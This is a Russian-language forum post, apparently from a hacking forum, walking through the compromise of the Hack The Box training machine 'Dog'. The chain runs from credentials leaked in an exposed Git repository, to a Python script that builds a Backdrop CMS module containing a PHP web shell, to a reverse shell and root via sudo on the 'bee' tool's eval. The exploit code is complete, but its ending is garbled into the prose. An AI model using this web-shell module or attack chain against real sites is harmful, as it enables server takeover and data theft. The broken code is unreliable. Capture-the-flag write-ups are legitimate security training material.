• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Атакуем сервер Backdrop CMS

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,176
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу весь путь атаки на Backdrop CMS. Сначала мы получим учетные данные из конфига, забытого разработчиками в каталоге Git, затем авторизуемся и загрузим модуль для выполнения своего кода и получения RCE. При повышении привилегий воспользуемся возможностями утилиты администрирования Backdrop CMS.
Наша конечная цель — получение прав суперпользователя на машине Dog с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень ее сложности — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютера, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.58 dog.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 7.9p1;
  • 80 — веб‑сервер Apache 2.4.38.
Из отчета nmap видно, что на веб‑сервере есть файл robots.txt, а также репозиторий Git.

Главная страница сайта
Главная страница сайта

Точка входа​

Первым делом попробуем выкачать весь репозиторий с помощью Для просмотра ссылки Войди или Зарегистрируйся.

git-dumper [URL]http://dog.htb[/URL] dog
Затем просмотрим историю коммитов через Для просмотра ссылки Войди или Зарегистрируйся.

История коммитов
История коммитов
В истории коммитов ничего интересного нет, однако мы узнаем, что используется Backdrop CMS. Быстрый поиск по слову version позволяет найти версию CMS.

Поиск версии CMS
Поиск версии CMS

Первым делом стоит проверить, есть ли для обнаруженной системы готовые эксплоиты. С этим вопросом отправляемся в Google.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

По Для просмотра ссылки Войди или Зарегистрируйся находим инструкцию о том, как загрузить свой модуль и получить RCE (возможность удаленного выполнения кода). Однако для этого нам нужно сначала как‑то попасть в админку. Поищем учетные данные в файле settings.php, где содержатся настройки для подключения к базе данных MySQL.

Содержимое файла settings.php
Содержимое файла settings.php
Находим пароль, но у нас нет логина. Поищем по домену — и находим e-mail пользователя.

Поиск почтовых адресов
Поиск почтовых адресов

С полученными почтовым адресом и паролем успешно авторизуемся в Backdrop CMS.

Главная панель Backdrop CMS
Главная панель Backdrop CMS

Точка опоры​

Используем следующий эксплоит для создания модуля Backdrop CMS, который будет давать нам веб‑шелл.

Код:
import os
import time
import zipfile

def create_files():
    info_content = """
    type = module
    name = Block
    description = Controls the visual building blocks a page is constructed
    with. Blocks are boxes of content rendered into an area, or region, of a
    web page.
    package = Layouts
    tags[] = Blocks
    tags[] = Site Architecture
    version = BACKDROP_VERSION
    backdrop = 1.x

    configure = admin/structure/block

    ; Added by Backdrop CMS packaging script on 2024-03-07
    project = backdrop
    version = 1.27.1
    timestamp = 1709862662
    """
    shell_info_path = "shell/shell.info"
    os.makedirs(os.path.dirname(shell_info_path), exist_ok=True)  # Klasörüoluşturur
    with open(shell_info_path, "w") as file:
        file.write(info_content)

    shell_content = """
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if(isset($_GET['cmd']))
    {
    system($_GET['cmd']);
    }
    ?>
    </pre>
    </body>
    </html>
    """
    shell_php_path = "shell/shell.php"
    with open(shell_php_path, "w") as file:
        file.write(shell_content)
    return shell_info_path, shell_php_path

def create_zip(info_path, php_path):
    zip_filename = "shell.zip"
    with zipfile.ZipFile(zip_filename, 'w') as zipf:
        zipf.write(info_path, arcname='shell/shell.info')
        zipf.write(php_path, arcname='shell/shell.php')
    return zip_filename

def main(url):
    print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
    time.sleep(3)

    print("Evil module generating...")
    time.sleep(2)

    info_path, php_path = create_files()
    zip_filename = create_zip(info_path, php_path)

    print("Evil module generated!", zip_filename)
    time.sleep(2)

    print("Go to " + url + "/admin/modules/install and upload the " +
          zip_filename + " for Manual Installation.")
    time.sleep(2)

    print("Your shell address:", url + "/modules/shell/shell.php")

if name == "main":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python script.py ") else: main(sys.argv
[1]) Для просмотра ссылки Войди или Зарегистрируйся. Будем использовать версию Bash (Base64).

Создание реверс шелла
Создание реверс шелла

Запустим листенер (pwncat -lp 4321) и выполним реверс шелл. Так мы сможем получить доступ к установленному на сервере Linux от имени учетной записи веб‑сервера www-data.

Сессия пользователя www-data
Сессия пользователя www-data

Продвижение​

Нередко пользователи ставят везде один и тот же пароль. Получим список юзеров, имеющих возможность выполнять команды в консоли.

cat /etc/passwd | grep bash
Пользователи с консолью
Пользователи с консолью

С имеющимся у нас паролем авторизуемся от имени пользователя johncusack и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в случае с Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Просматриваем вывод и видим, что зацепиться не за что. Однако мы не получили настройки sudoers, так как для этого требуется ввести пароль пользователя. Давай получим их вручную.

Сообщение при получении настроек sudoers
Сообщение при получении настроек sudoers

Настройки sudoers
Настройки sudoers

Видим, что мы можем выполнить файл /usr/local/bin/bee от имени привилегированного пользователя root. Проверим, что это за файл.

Проверка файла
Проверка файла

Файл представляет собой ссылку на /backdrop_tool/bee/bee.php. Это скрипт на PHP, который позволяет выполнять запросы к базе данных, а также выполнять код через функцию eval.

Параметры скрипта
Параметры скрипта

Используем параметр php-eval для вызова функции system, чтобы запустить командную оболочку bash в контексте root.

sudo /usr/local/bin/bee --root=/var/www/html eval "system('bash -p');"
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу